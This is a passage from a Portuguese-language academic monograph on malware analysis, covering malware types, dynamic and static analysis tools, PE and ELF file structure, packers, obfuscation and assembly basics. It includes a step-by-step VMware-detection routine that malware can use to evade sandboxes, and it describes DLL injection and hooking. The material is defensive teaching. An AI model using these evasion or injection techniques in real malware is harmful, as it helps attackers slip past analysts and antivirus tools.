forma, o mais sensato a se fazer
1

Auto-replicar fazer cpia de si mesmo.

23

quando o sistema foi comprometido por um rootkit a formatao completa e a reinstalao do sistema, pois virtualmente impossvel ter certeza de que todos os componentes da praga foram removidos. Keylogger Registra toda a atividade de entrada do teclado em um arquivo, o qual, provavelmente, ser enviado ao atacante. Alguns keyloggers inteligentes registram apenas as informaes digitadas pelo usurio quando este se encontra conectado a um site seguro. Dessa forma, o atacante possui acesso a nmeros de contas bancrias, senhas, nmeros de cartes, etc. Screenlogger Registra as pginas que o usurio visita e a rea em volta do clique do mouse e as envia pela internet. No dia a dia, o termo Vrus , erroneamente, utilizado para caracterizar todos os tipos de malware. Os fornecedores de programas antivrus contribuem para este tipo de confuso na medida em que combatem vrias manifestaes de malwares (GOLDANI, 2005).

2.2

Estratgias de Replicao de Malwares

Acesso ao File System Feito pelos chamados le system virus ou cluster virus. Modicam as entradas da tabela do diretrio de modo que o vrus passe a ser executado imediatamente antes que um determinado programa seja executado. Acesso ao Registro do Sistema O registro utilizado para salvar conguraes de programas, restries de conguraes do sistema, associaes de arquivo, entre outros. Como qualquer programa, um vrus pode utilizar o registro para salvar suas conguraes ou outras informaes (como, por exemplo, a data de infeco ou o nmero de e-mails infectados enviados, etc.). A principal utilidade para malwares permitir que esses obtenham acesso memria assim que o sistema seja inicializado. Para que o ataque ocorra, utilizam-se normalmente cavalos de troia ou vermes, que modicam os registros para que sua inicializao seja feita assim que o sistema for inicializado. Modicar o registro uma maneira eciente de combater malwares, entretanto, modiclos no uma tarefa fcil para usurios leigos, haja vista que o registro tambm inuencia em processos essenciais do sistema operacional ou de determinadas aplicaes.

24

Spam De acordo com a pgina do Comit Gestor da Internet no Brasil, um spam termo usado para referir-se aos e-mails no solicitados, que geralmente so enviados para um grande nmero de pessoas (CGI, 2012). O termo spam zombies utilizado para designar computadores de usurios nais que foram comprometidos por malwares que, uma vez instalados, permitem que spammers utilizem a mquina para o envio de spam, sem o conhecimento do usurio. Enquanto utilizam mquinas comprometidas para executar suas atividades, dicultam a identicao da origem do spam e dos autores tambm. Os spam zombies so muito explorados pelos spammers, por proporcionar o anonimato que tanto os protege. Dialers Substituem o nmero de telefone de uma ligao discada por outro, com o intuito de, ao efetuar a conexo, enviar informaes ao atacante. Os dialers realizam ataques que so conhecidos como Man-in-the-Middle, nos quais o atacante intercepta informaes antes de chegarem ao destino. URL Injection Modica o comportamento do browser no acesso a alguns domnios, substituindo a URL requisitada por outra de interesse alheio, como propagandas de produtos. Normalmente, essa troca de sites realizada de maneira transparente ao usurio.

2.3

Anlise de Malware
A anlise de cdigo malicioso visa o entendimento profundo do funcionamento de um

malware como atua no sistema operacional, que tipo de tcnicas de ofuscao so utilizadas, quais uxos de execuo levam ao comportamento principal planejado, se h operaes de rede, download de outros arquivos, captura de informaes do usurio ou do sistema, entre outras atividades (FILHO et al., 2010).

2.3.1

Anlise Dinmica

A Anlise Dinmica, ou Anlise Comportamental, consiste em executar o malware em um ambiente controlado, comumente dentro de um mquina virtual, e atravs de ferramentas de monitoramento capturar as interaes que ele realiza com o sistema operacional e ambiente

25

de rede (MICROSOFT, 2009). O malware monitorado durante sua execuo, por meio de emuladores, debuggers, ferramentas para monitorao de processos, registros e arquivos e tracers de chamadas de sistema (FILHO et al., 2010). As trs tcnicas de Anlise Dinmica mais empregadas nos principais sistemas de anlise de malware disponveis so (FILHO et al., 2010): Virtual Machine Introspection (VMI); System Service Dispatch Table (SSDT) Hooking; e Application Programming Interface (API) Hooking. Virtual Machine Introspection (VMI), cuja estrutura est representada na Figura 1, um tipo de anlise que utiliza um ambiente virtual para a execuo do malware e uma camada intermediria entre o ambiente virtual e o real (host system), chamada Virtual Machine Monitor (VMM). Esta camada intermediria responsvel por obter e controlar as aes que esto sendo executadas no ambiente virtual, isolando-o e minimizando a chance de comprometimento do ambiente real do sistema de anlise.

Figura 1: Estrutura do VMI

Com essa tcnica, possvel obter informaes de mais baixo nvel sobre a execuo do binrio, como por exemplo, as chamadas de sistema (system calls) executadas e o estado da memria e dos registradores do processador. Porm, a grande limitao desta abordagem justamente a necessidade do ambiente de anlise virtualizado. Existem alguns tipos de malware que, a m de burlar a anlise e identicao de suas aes, realizam diversas checagens para vericar se esto executando em ambiente virtual. Ao

26

notarem a presena deste tipo de ambiente, modicam seu comportamento de forma a ocultar o uxo de execuo malicioso. Um exemplo de aplicativo que realiza esta checagem encontrase em (BACHAALANY, 2005). O aplicativo presente para download identica se as mquinas virtuais VMWare e Virtual PC esto sendo utilizadas. Em (BACHAALANY, 2005) encontram-se as checagens que o aplicativo faz e que podem ser utilizadas por um malware esconder-se de uma anlise. A seguir, as checagens feitas para identicar o VMWare: 1. Executar os tratadores de exceo. 2. Passar para o registrador EAX o valor mgico 0x564D5868h (ou VMXh). 3. Passar para o registrador EBX outro valor que no o valor mgico. 4. Passar para o registrador ECX o valor de funo (para o Get VMWare, por exemplo, este valor 10). 5. Passar para o registrador DX o valor 0x5658h (ou VX). Esta porta permite interagir com o VMWare, caso esteja presente. 6. Executar in EAX,DX. Se o VMWare no estiver presente, ocorrer exceo e o VMWare est ausente. 7. EBX deve ler agora o valor mgico. Se ocorrer, o VMWare est presente. O assembly do algoritmo pode ser encontrado em (BACHAALANY, 2005). A tcnica de System Service Dispatch Table (SSDT) Hooking, ou captura de chamadas do sistema trata da interceptao das chamadas no sistema operacional atravs de funes de hook, possibilitando inclusive que se modique o uxo de execuo e as respostas retornadas ao programa. Esta aplicada atravs do uso de um driver, isto , um programa especial que executa no nvel do kernel (ring 0 nos sistemas Windows) e normalmente utilizado para fazer a interface entre dispositivos de hardware e o nvel de usurio (ring 3). A operao em ring 0 e consequente posse de maiores privilgios de acesso possibilita que um driver intercepte todas as chamadas de sistema realizadas por um determinado programa que executa em nvel de usurio. Esta tcnica pode ser usada tanto em sistema real quanto em virtual. Isso ocorre devido ao fato de que, para se realizar a monitorao do malware durante a anlise basta que se instale o driver no sistema monitorado. Outra vantagem do uso de SSDT hooking que no se modica o cdigo do arquivo monitorado, evitando que o malware descubra que est sendo analisado atravs de checagem de integridade.

27

A desvantagem da aplicao desta tcnica diz respeito anlise de alguns tipos de rootkits, uma classe particular de malware que executa em nvel de kernel e geralmente implementada sob a forma de um driver. Neste caso, como o malware estar executando no mesmo nvel de privilgio do driver de monitorao, ele poder executar aes que no sero capturadas. Outra tcnica utilizada a de hooking de APIs, na qual a captura das informaes feita atravs de modicaes no cdigo do binrio em anlise, de modo que os endereos das APIs que o programa vai executar sejam trocados por endereos de funes do programa responsvel pela interceptao dos dados. No momento em que o malware carregado no sistema, todas as DLLs utilizadas so vericadas para que sejam obtidos os endereos das APIs que se quer modicar. Aps este levantamento, a troca dos endereos feita. Esta tcnica pode ser facilmente subvertida se o malware realizar chamadas diretas ao kernel do sistema. Neste caso, como no h referncia a nenhuma API, o programa de monitorao no capaz de capturar as aes efetuadas, fazendo com que se perca um subconjunto crtico das atividades do comportamento deste malware. Outra desvantagem da utilizao desta tcnica que o malware pode identicar que est sendo analisado atravs de checagem de integridade, isto , vericando se houve modicaes no cdigo em execuo. Esta identicao realizada por um teste de debugging, utilizando a API IsDebuggerPresent. Alm das tcnicas apresentadas, destacam-se: (SIKORSKI; HONIG, 2012) IAT Hooking um mtodo rootkit que esconde arquivos, processos ou acessos rede no sistema local. Ele modica as tabelas de importao ou exportao de endereos. Inline Hooking Consiste em sobrescrever o cdigo da funo API contida na DLL importada, esperando ento at a DLL carregada comear a executar. Um rootkit malicioso realizando hookings em srie ir normalmente substituir o comeo do cdigo com um pulo para o cdigo malicioso inserido no rootkit. DLL Injection Injeta um cdigo em um processo remoto para chamar a API LoadLibrary, forando uma DLL a ser carregada no contexto desse processo. Direct Injection

28

Parecido com o DLL Injection, com a diferena de que ao invs de escrever uma DLL separada e forar o processo remoto a carrega-la, ele injeta o cdigo malicioso diretamente no processo remoto.

2.3.2

Anlise Esttica

Tambm chamada de Engenharia Reversa, a Anlise Esttica estuda um programa sem execut-lo. Para que possa ser feita, necessria a utilizao de algumas ferramentas: Disassembler Converte um programa em uma sequncia de instrues em linguagem de mquina (Assembly) Decompilador Converte instrues que se encontram em linguagem de mquina para cdigos-fonte equivalentes em alguma linguagem de alto nvel Analisador de cdigo-fonte Executa a anlise do cdigo gerado pelo decompilador A Anlise Esttica apresenta como vantagens a possibilidade de revelar como um programa se comporta em situaes incomuns, j que praticamente todo o cdigo-fonte gerado pelo decompilador pode ser analisado, gerando a capacidade de analisar partes de um programa que normalmente no executam. Porm, impossvel prever totalmente o comportamento de todos os programas.

29

Anlise Comportamental

Em geral, possvel identicar um malware atravs de comportamentos suspeitos, sem necessariamente ter acesso ao seu cdigo. A esse tipo de anlise d-se o nome de Anlise Comportamental ou Anlise Dinmica. Neste captulo, sero apresentadas as tcnicas e ferramentas utilizadas para a sua realizao.

3.1

Preparao do Ambiente
As anlises de malware - tanto esttica quanto dinmica envolvem diversas tcnicas que

exigem um conjunto de requisitos variado. Sendo assim, a preparao correta de um ambiente de anlise um passo importante para evitar problemas ao longo do projeto. Alm disso, o ambiente em questo deve ser isolado, isto , ausente de comunicao com outros discos. Com isto, car garantido que o malware no escapar, infectando outros sistemas que no esto no ambiente de anlise. Normalmente, o ambiente utilizado uma mquina virtual - podendo tambm serem utilizadas mquinas reais -, uma vez que ela permite o acesso s ferramentas necessrias e s mais variadas conguraes de ambiente (sistemas operacionais, conguraes de Firewall, rede, etc.) (VENERE, 2009).

3.2

Mquina Virtual
A pgina do VMWare dene mquina virtual como um software totalmente isolado que

pode executar os prprios sistemas operacionais e aplicativos como se fosse um computador fsico (VMWARE, 2012). A Figura 2 ilustra como a mquina virtual se encaixa para o hardware. Os sistemas operacionais no reconhecem a diferena entre uma mquina virtual e uma mquina fsica, nem os aplicativos ou outros computadores em uma rede. Entretanto, a mquina virtual composta inteiramente de software, ou seja, no contm componentes de hardware (VMWARE, 2012).

30

Figura 2: Posio da Mquina Virtual para o Sistema Operacional e o Hardware

Devido a isso, as mquinas virtuais so um ambiente propcio para a anlise de malware, visto que apenas malwares muito sosticados (que utilizam o recurso VMWare Protect) podem distinguir uma mquina virtual de uma mquina fsica. Neste caso, h duas solues: utilizar outra mquina virtual ou retirar via Engenharia Reversa a parte do cdigo que contenha este recurso. H uma grande variedade de softwares para rodar mquinas virtuais. So exemplos: VMWare Parallels Desktop (para Mac) Sun Toolbox KVM UML Neste trabalho, foram utilizados o VMWare e o Parallels Desktop.

3.3
3.3.1

Captura do Trfego de Rede


Farejadores ou Sniffers

Sniffers ou farejadores so softwares que conseguem capturar todo o trfego que passa em um segmento de uma rede (ASSUNCAO, 2012). A Figura 3 mostra o funcionamento de um Sniffer:

31

Figura 3: Funcionamento de um Sniffer

Quando ligamos computador no HUB, e enviamos informao de um computador para o outro, na realidade esses dados vo para todas as portas do HUB, e consequentemente para todas as mquinas. Acontece que s a mquina na qual a informao foi destinada enviar para o sistema operacional. No caso de utilizao de um switch, mais comum atualmente, o contedo que chega na mquina apenas o que foi direcionado para ela, isto , no possvel ver o trfego geral da rede. Sendo assim, deve-se congurar o switch para mandar todo o trafego para a mquina que contm o Sniffer. Para tal, pode utilizar-se a tcnica Switched Port Analyzer - SPAN (conhecido tambem como Port Mirroring) - capacidade de espelhar o trafego de uma porta (ou portas, ou VLAN) para outra(ORTEGA, 2009). A gura 4 ilustra este processo.

Figura 4: Switched Port Analyzer - SPAN

32

Se um sniffer estivesse rodando nos outros computadores, mesmo sem esses sistemas enviarem a informao que trafega ali para o sistema operacional, o farejador interceder na camada de rede, capturando os dados e mostrando-os para o usurio, de forma pouco amigvel. Geralmente os dados so organizados por tipos de protocolo (TCP, UDP, FTP, ICMP, etc...) e cada pacote mostrado pode ter seu contedo lido.

Sniffers so de grande utilidade para a Anlise Comportamental de malware, haja vista que atravs deles, possvel determinar se h pedidos ou respostas imprevistas ocorrendo na rede. Cdigos que realizem estas operaes so possveis candidatos a Rootkits ou outros malwares. Este trabalho utilizou como sniffer o Wireshark (Figura 5) para seus estudos de Anlise Comportamental.

Figura 5: Fotograa do Wireshark

3.4

Captura de Processos
Um processo um programa em execuo. Alm do cdigo do programa, inclui a ati-

vidade corrente, conforme representado pelo valor do contador do programa e 0 contedo dos registradores do processador. Um processo geralmente inclui a pilha de processo, que contm dados temporrios (como parmetros de mtodos, endereos de retorno e variveis locais) c uma seo de dados, que contm variveis globais (SILBERSCHATZ, 2006). Os sistemas Windows oferecem um gerenciador de tarefas, no qual esto listados os processos em execuo, bem como quem os disparou e quem foi o responsvel pela criao do programa em execuo.

33

O Process Explorer um gerenciador de tarefas mais robusto. Alm das informaes oferecidas pelo gerenciador do Windows, informa uso de CPU, memoria, dentre outros (FONSECA, 2006). Sua interface mais amigvel, com cores para diferenciar os diferentes tipos de processos, alm da facilidade de matar os processos desejados e seus lhos, ajudam na anlise dos processos abertos, sendo assim uma ferramenta poderosa para a Anlise Comportamental.

3.5

Captura de Acesso ao Registro e ao Sistema de Arquivos


O registro do Windows o local onde todas as informaes sobre o computador tais

como dados de usurios do sistema, localizao de arquivos e programas, preferncias dos utilizadores do computador e conguraes de hardware e softwares - esto guardados. Todas as aes realizadas no computador geram logs que so guardados no registro, principalmente a instalao e desinstalao de programas (SOUZA, 2010). Ter um monitoramento do acesso ao registro do sistema fundamental para a Anlise Comportamental, uma vez que os malwares que quiserem realizar alguma ao tero sua atividade guardada no registro do sistema. Este monitoramento pode ser realizado atravs do Regshot, uma ferramenta que tira uma foto do registro do sistema. Se executado antes e depois do uso de um software suspeito, pode capacitar a sua identicao como cdigo malicioso (ALVES, 2008). As Figuras 6 e 7 so imagens do Regshot em execuo e um resultado obtido por ele, respectivamente.

Figura 6: Fotograa do Regshot

34

Figura 7: Resultado obtido pelo Regshot

Outro software bastante til o Process Monitor, que possui uma lista de processos com o horrio que foram abertos, seu nome, a operao realizada e o caminho do processo. Com esta quantidade de informaes, pode ser til (embora no completamente necessrio devido a existncia de outras ferramentas mais completas) tanto na Anlise Comportamental quanto na Engenharia Reversa. A Figura 8 mostra o ProcessMonitor em execuo.

35

Figura 8: ProcessMonitor em execuo

36

Engenharia Reversa

Em caso de insucesso da Anlise Comportamental, ou seja, da no deteco de algum comportamento estranho do arquivo estudado, ou ento de o analista querer estudar mais a fundo a estrutura dele, realizada a Anlise Esttica, ou Engenharia Reversa, a qual o estudo do programa sem execut-lo. Esse tipo de anlise ser visto no decorrer desse captulo.

4.1
4.1.1

Estrutura de Arquivos Executveis


PE - Portable Executable Format (Windows)

Os PEs so os arquivos executveis do Windows, os quais podem ser bibliotecas de linkagem (DLL), componentes ActiveX (OCX), entre outros. A extenso mais conhecida que possui esse tipo de estrutura o EXE. Isso signica que o padro de todos esses arquivos semelhante, variando apenas em algumas funes (BIRCK, 2007). Ser dada maior ateno aos arquivos .EXE, pois, alm de serem os mais conhecidos, so tambm os que levam o formato PE da forma mais abrangente possvel. O arquivo organizado basicamente da maneira que segue: Cabealho DOS No tem utilidade prtica dentro do sistema Windows. Serve apenas para apresentar uma mensagem avisando o usurio que o aplicativo em questo no pode ser utilizado em modo texto. Cabealho Windows nele que esto todas as informaes bsicas necessrias para que o aplicativo funcione, como o nmero de sees, tamanho de cada seo e incio das mesmas, onde iniciar a execuo do cdigo, dentre dezenas de outras conguraes.

37

Tabela de Sees Contm diversas informaes referentes a cada uma das sees presentes no executvel, como o tamanho, endereo e caractersticas. A quantidade de itens na tabela varia dependendo do nmero de sees contidas no aplicativo. Cada seo responsvel por uma caracterstica do PE. Seguem abaixo as sees mais comuns: Seo de cdigo - Code Section (.text ou .code) Dentro desta seo ca armazenado o cdigo compilado do aplicativo, contendo todas as instrues em assembly para o funcionamento do programa. Qualquer alterao feita no cdigo de um aplicativo vai resultar numa mudana dos dados presentes dentro deste trecho do arquivo. Seo de recursos Resource Section (.rsrc) Esse trecho utilizado para armazenar qualquer outro tipo de dado dentro de um executvel. Nela cam armazenados os cones, imagens, disposio dos itens na janela, menus, etc. Seo de dados Data Section (.data) Essa seo pode ser subdivida em 3 outras sees, sendo elas: BSS Contm todas as variveis no inicializadas (sem um valor denido) do aplicativo. RDATA Dados de somente leitura. DATA Todas as outras variveis que no se encaixam em nenhuma das duas outras sees. Seo de exportao Export data section (.edata) Armazena o diretrio de exportao, contendo informaes sobre os nomes e endereos das funes contidas em uma DLL. Os arquivos DLL podem ser denidos por dois tipos de funes: internas e externas. As externas podem ser chamadas por qualquer outro mdulo. J as funes internas cam restritas ao mdulo principal da mesma. As DLLs nos do a possibilidade de modularizar aplicativos, contendo funes genricas que podem ser utilizadas por qualquer programa. Um bom exemplo disso o prprio Kernel do Windows, que subdividido em diversas DLLs que controlam o sistema (kernel.dll, user32.dll, gdi32.dll, entre outras).

38

Seo de importao - Import data section (.idata) Esta seo funciona de forma semelhante a anterior. Ao invs de ser voltada para os arquivos DLL (como a de exportao), a seo de importao tem a nalidade de montar um banco de dados de todas as funes utilizadas por um executvel, assim como o endereo e as caractersticas de cada rotina importada. Seria como dizer que a seo de exportao fornece funes para o uso e a de importao busca essas funes exportadas. Informaes de debug - Debug information (.debug) Presente normalmente nas compilaes de aplicativos em estgio de desenvolvimento, essa seo contm dados teis para o programador, que podem o auxiliar no tratamento de erros. Alguns valores encontrados nos cabealhos dos PEs podem signicar que o arquivo malicioso, como: Chamadas ao TLS O TLS (Thread Local Storage) a estrutura responsvel por manter a separao de dados entre as diferentes threads de um mesmo processo. As rotinas de inicializao do TLS so chamadas antes do ponto de entrada, no momento de criao dos threads. Dessa forma, as chamadas ao TLS so funes executadas antes do breakpoint inicial dado pelos debuggers, sendo, assim, utilizadas para checagem anti-debuggers. Diretrios de recurso Podem conter tipos de dados arbitrrios, como cones, cursores e conguraes. A presena de arquivos executveis nesse diretrio pode indicar que o malware vai criar um outro ternrio e execut-lo em tempo de execuo. Sees de ponto de entrada suspeitas Essas sees contm o endereo do entrypoint do arquivo, o qual, em arquivos no empacotados e legtimos, normalmente localizado em sees nomeadas .code ou .text. Caso o entrypoint resida em alguma seo desconhecida, provvel que o arquivo no seja legtimo ou ento empacotado. Sees com tamanho bruto em disco valendo zero O tamanho bruto em disco a quantidade de bytes que uma seo possui no arquivo no disco. A razo mais comum para uma seo possuir tamanho bruto zero no disco, mas maior que zero na memria, que os empacotadores decriptam as instrues ou dados para dentro da seo em tempo de execuo.

39

Sees com entropia extremamente alta ou baixa A entropia um valor entre zero e oito que indica o ndice de aleatoriedade dos dados. Dados encriptados ou comprimidos tipicamente possuem alta entropia, enquanto que uma cadeia muito longa de um mesmo caractere possui baixa entropia. Com o clculo da entropia, pode-se ter uma boa ideia de que sees do arquivo podem conter cdigo comprimido ou anormal.

4.1.2

ELF - Executable and Linking Format (Linux)

O ELF o padro para arquivos executveis utilizado na maioria dos sistemas operacionais UNIX, dentre eles o GNU/Linux. Inicialmente desenvolvido para para o System V Unix, da AT&T, na dcada de 1980. A estrutura dos arquivos ELF formada por um cabealho ELF, um conjunto de cabealhos de programa e um conjunto de sees, alm da tabela de cabealhos de sees. A sua ordenao vericada na Figura 9.

Figura 9: Estrutura do padro ELF

O cabealho ELF contm a informao sobre o tipo de arquivo(PRADO, 2010) (objeto, executvel ou biblioteca. Neste trabalho, apenas os executveis sero abordados). no cabealho ELF que encontram-se as informaes gerais sobre todo o arquivo, tais como a arquitetura-alvo, a verso de ELF utilizada e localizao e nmero dos cabealhos de programa e das sees. O cabealho ELF tambm contm a localizao da primeira instruo a ser executada, chamada de ponto de entrada (do ingls, entry point). Por estes motivos, o cabealho ELF sempre posto no comeo do arquivo executvel. Os cabealhos de programa descrevem cada um uma seo do arquivo, dando informaes

40

como a sua localizao ao dentro do arquivo, seu tamanho, seu endereo de destino esperado na memria e as tags de proteo (leitura, escrita e execuo) que devem ser aplicados a essa seo quando ela estiver carregada na memria (PAZ, 2006). A tabela de cabealhos de sees possui as informaes sobre a localizao das sees do programa (PRADO, 2010). 4.1.2.1 Cdigo do ELF

O cdigo nos executveis ELF realocvel, ou seja, ele no precisa ser ajustado para a posio de memria para onde foi carregado, como o caso dos PE quando eles so carregados em endereos diferentes daqueles para os quais foram compilados. Esse tipo de cdigo realocvel tambm chamado de Cdigo Independente de Posio (Position Independent Code ou PIC). Isso traz uma vantagem importante quando se trata de reutilizao. No ELF e no PE, quando a seo de cdigo de uma biblioteca dinmica e mapeada no espao de endereamento de um programa, o carregador verica se na memria fsica j existe uma pgina com este mesmo cdigo. Se existir, ao invs de criar uma cpia separada para o programa, o carregador mapeia aquela pgina fsica da memria para dentro do espao de memria virtual do programa. Isso faz com que uma biblioteca dinmica, que seja utilizada por quase todos os programas, exista na memria fsica apenas uma vez. Isso economiza espao na memria e tempo (PAZ, 2006).

4.2

Tcnicas para Dicultar a Identicao do Malware


No intuito de dicultar ou at mesmo impedir a anlise e a deteco de uma malware por

parte de um antivrus, o desenvolvedor da praga utiliza vrios artifcios, os quais vo de uma simples criptograa de cdigo utilizao de ofuscadores. A seguir, algumas tcnicas dessa natureza sero abordadas (MELO; AMARAL; SAKAKIBARA,

2011).

4.2.1

Cryptors

Os cryptors so responsveis por criptografar o cdigo malicioso. Essa tcnica possui caractersticas similares a dos packers, mas, em vez de comprimir um arquivo, utiliza-se de algoritmos criptogrcos para esconder um dado cdigo e, assim, dicultar a anlise esttica do arquivo e at mesmo impedir sua identicao por parte de antivrus, j que sua assinatura, conhecida por este, no aparece de forma clara.

41

A decifrao do cdigo ocorre de maneira semelhante dos packers. Uma funo inversa de decifrao acoplada ao cdigo e chamada em tempo de execuo (processo j executado em memria). O processo de decriptao ilustrada nas guras 10 e 11 (CARDOSO, 2011).

Figura 10: Decifrao no momento da execuo

Figura 11: Malware decifrado

4.2.2

Vrus Polimrcos

Como o prprio nome j diz, um vrus polimrco aquele que apresenta diversas formas. Isso signica que, a cada infeco feita, uma forma diferente da praga virtual encontrada no computador da nova vtima. O vrus no possui uma assinatura prpria, dicultando o trabalho de deteco por parte dos antivrus, que o procuram com a chamada mscara de vrus (partes do cdigo especco do vrus no modicvel) (BECEIRO, 2008).

42

Essas variaes do cdigo so criadas principalmente de duas maneiras: utilizando-se uma chave no constante na criptograa do cdigo principal do malware com conjuntos aleatrios de decriptao ou ento pela modicao do cdigo executvel do vrus. Isso conseguido principalmente de duas maneiras: pela criptograa do cdigo principal do vrus com uma chave diferente a cada infeco com conjuntos aleatrios de comandos de decriptograa ou pela modicao do cdigo executvel do vrus. 4.2.2.1 Nveis de Polimorsmo

De acordo com a complexidade do cdigo de seus decriptadores, foi criada uma diviso em nveis dos vrus polimrcos (BECEIRO, 2008): Nvel 1 Vrus com um conjunto de decriptadores com cdigo constante. escolhido um deles para a infeco. So chamados de semipolimrcos ou oligomrcos. Nvel 2 O decriptador contm uma ou diversas instrues constantes, o restante pode ser modicado. Nvel 3 O decriptador contm funes no utilizadas. Nvel 4 O decriptador utiliza instrues intercambiveis e modica sua ordem (mistura de instrues). O algoritmo de decriptao permanece inalterado. Nvel 5 Todas as tcnicas anteriormente mencionadas so utilizadas, o algoritmo de decriptao modicvel, a criptograa repetida do cdigo do vrus e mesmo a criptograa parcial do decriptador so possveis. Nvel 6 O cdigo principal do vrus est sujeito a mudanas, divido em blocos que so posicionados em ordem aleatria durante a infeco. Apesar disso, o vrus continua a poder trabalhar. Pode ser decriptografado. So chamados de vrus de permutao.

43

4.2.3

Packers

Os packers so compressores de arquivos executveis. Quando compactados, os arquivos executveis no executam suas funes primrias, o que faz necessrio o conhecimento de uma rotina de descompresso antes do malware ser carregado na memria, normalmente inclusa no nal do arquivo comprimido, ilustrado na Figura 12.

Figura 12: Criao e execuo de arquivos comprimidos ou encriptados

Caso um analista deseje estudar o cdigo do vrus, deve-se ter conhecimento de que o arquivo comprimido necessita, normalmente, de um programa especco (unpacker) para o descomprimir. Dicilmente esse programa o mesmo que o comprimiu. Dessa forma, ele deve tomar cuidado ao baixar esse descompressor, pois, em muitas vezes, esse pode ser tambm um malware. Como exemplo de uma ferramenta bastante til, o PEiD um utilitrio que escaneia arquivos executveis portveis em busca de packers, cryptors e compiladores, e capaz de detectar mais de 470 assinaturas diferentes nos arquivos. Alm do modo de procura bsico, ele tambm possui opes de modos especiais de deteco, procura recursiva em arquivos e diretrios, escaneamento heurstico e outras tcnicas para encontrar as assinaturas. A sua base de assinaturas pblica e pode ser utilizada na implementao de escaneadores prprios. Seguem, na Figura 13, exemplos de packers e de seus respectivos unpackers.

Figura 13: Exemplos de Packers e de seus respectivos Unpackers

Em muitos casos, o cdigo do malware pode ser comprimido utilizando-se packers distin-

44

tos, gerando um vrus polimrco (visto acima), j que existir uma assinatura diferente para cada compresso.

4.2.4

Joiners

Os joiners so utilizados para unir dois ou mais arquivos em um, o que os faz serem executados simultaneamente. Usado por atacantes, por exemplo, quando deseja-se enviar um arquivo lcito combinado com um malware, como um keylogger. A praga instalada sem que o usurio tenha conhecimento e sem nenhuma interao por parte desse, denominada instalao silenciosa.

4.2.5

Ofuscadores

Basicamente, ofuscar um cdigo X transform-lo em um cdigo X muito mais complexo que seja executado da mesma forma que o original. Essa maior complexidade serve, justamente, para dicultar a compreenso por parte do analista do cdigo. As principais tcnicas para essa modicao do cdigo so: trocar nomes de variveis e funes; remover identao, espaos, tabs, quebra de linhas, comentrios; inserir pedaos de cdigo redundantes; inserir loops sem efeito; alterar blocos de cdigo; alterar uxo de controle; quebrar ou agrupar funes; compresso/criptograa.

45

Pode-se notar no cdigo abaixo a utilizao de tcnicas de ofuscao: Antes int i = 0; while (i < 1000) { ... A[i] ...; i ++; } Depois int i = 11; while (i < 8003) { ... A[(i-3)/8] ...; i += 8; } Na Figura 14, so representados um cdigo original e seu respectivo cdigo ofuscado. Para a ofuscao, foi utilizado o software Free Javascript Obfuscator (INC., 2010).

Figura 14: Exemplo de cdigo original e seu respectivo cdigo ofuscado com o software Free Javascript Obfuscator (INC., 2010)

46

Na Figura 15, representado um cdigo ofuscado que fez parte do International Obfuscated C Code Contest (abreviada IOCCC), concurso de programao em C que premia os autores dos cdigos mais ilegveis na linguagem.

Figura 15: Cdigo ofuscado que fez parte do IOCCC (IOCCC, 2012)

4.3

Assembly 32/64 bits do Windows


(MENDONCA; ZELENOVSKY, 2006) dene Assembly como o conjunto de cdigos, em lin-

guagem de mquina, que so interpretados pelo processador a m de executar uma determinada ao.

4.3.1

Registradores

Registradores 32 bits 1. EAX Registrador Acumulador. 2. EBX Registrador Base. 3. ECX Registrador Contador. 4. EDX Registrador de Dados. 5. ESI e EDI Registradores de Indexao .

47

6. EBP - Registrador de Pilha Ponteiro de Base. 7. ESP Registrador de Pilha Ponteiro de Pilha. Registradores 64 bits 1. RAX Registrador Acumulador. 2. RBX Registrador Base. 3. RCX Registrador Contador. 4. RDX Registrador de Dados. 5. RSI e RDI Registradores de Indexao . 6. RBP - Registrador de Pilha Ponteiro de Base. 7. RSP Registrador de Pilha Ponteiro de Pilha. A Figura 16 mostra como foi feita a evoluo dos registradores sem haver perda de compatibilidade com as verses anteriores.

Figura 16: Estrutura de compatibilidade dos registradores

4.3.2

Principais Comandos

Os comandos a seguir esto em (MENDONCA; ZELENOVSKY, 2006) e so algumas das instrues em linguagem assembly mais comuns utilizadas. PUSH: Coloca o contedo do operando na pilha. POP: Carrega no registrador operando um dado proveniente da pilha. utilizado em conjunto com o PUSH. PUSHAD: Variante do PUSH. Coloca os contedos de EAX, EBX, ECX, EDX , ESP, EBP, ESI e EDI na pilha. POPAD: Variante do POP. Carrega EAX, EBX, ECX, EDX , ESP, EBP, ESI e EDI com dados provenientes da pilha. utilizado em conjunto com o PUSHAD. Por mexerem diretamente com contedos dos registradores, ambos so amplamente utilizados para cdigos malcos.

48

CALL: Transfere incondicionalmente a execuo do programa para uma rotina, tarefa ou gate, localizados a partir de um endereo relativo ao ponteiro de instruo, ou absoluto. O retorno est subentendiso, ocorrendo na execuo da instruo RET. RET: Retorna da rotina para o endereo carregado na pilha pela instruo CALL. MOV: Copia dados do operando fonte para o operando destino. LEA: Coloca o offset do endereo apontado pelo operando fonte no registrador destino. CMP: Compara operandos, modicando ags. INC: Incrementa o operando. DEC: Decrementa o operando. ADD: Soma os contedos de dois operandos (fonte e destino), armazenando o resultado no destino. SUB: Subtrai os contedos de dois operandos (fonte e destino), armazenando o resultado no destino. MUL: Multiplica os contedos de dois operandos (fonte e destino), armazenando o resultado no destino. DIV: Divide os contedos de dois operandos (fonte e destino), armazenando o resultado no destino. AND: Faz um and bit a bit entre dois operandos e armazena o resultado no destino. OR: Faz um or bit a bit entre dois operandos e armazena o resultado no destino. XOR: Faz um xor bit a bit entre dois operandos e armazena o resultado no destino. JMP: Salta incondicionalmente a execuo doprograma para um endereo relativo ao ponteiro de instruo, ou para um endereo absoluto, no estando implcito o retorno. Ainda h as variantes do JMP, descritas na Figura 17.

49

Figura 17: Lista de comandos de salto em Assembly

4.3.3

Estruturas de Controle

A seguir, exemplos de instrues de estruturas de controle: Controle de uxo: Cdigo em C: if(var > 128) var = 128; Cdigo em Assembly: MOV eax, [ebp+8] CMP eax, 0x80 JBE skip MOV eax, 0x80 skip:

50

Loops Cdigo em C: for (i=0; i < 100, i++) do_something(); Cdigo em Assembly: XOR eax, eax start: CMP eax, 0x64 JGE exit CALL do_something INC eax JMP start exit: Switch: Cdigo em C: switch (var){ case 0: var = 100; break; case 1: var = 200; break; } Cdigo em Assembly: JMP switch_table[eax*4] case 0: MOV [ebp-4], 100 case 1: MOV [ebp-4], 200 JMP end end: Exemplo: Programa Ol, Mundo escrito em linguagem assembly na Figura 18.

51

Figura 18: Exemplo de cdigo em linguagem de mquina do Ol, Mundo

4.4

API do Windows
Conforme descrito por (NPR, 2009), uma API (sigla para Application Programming Inter-

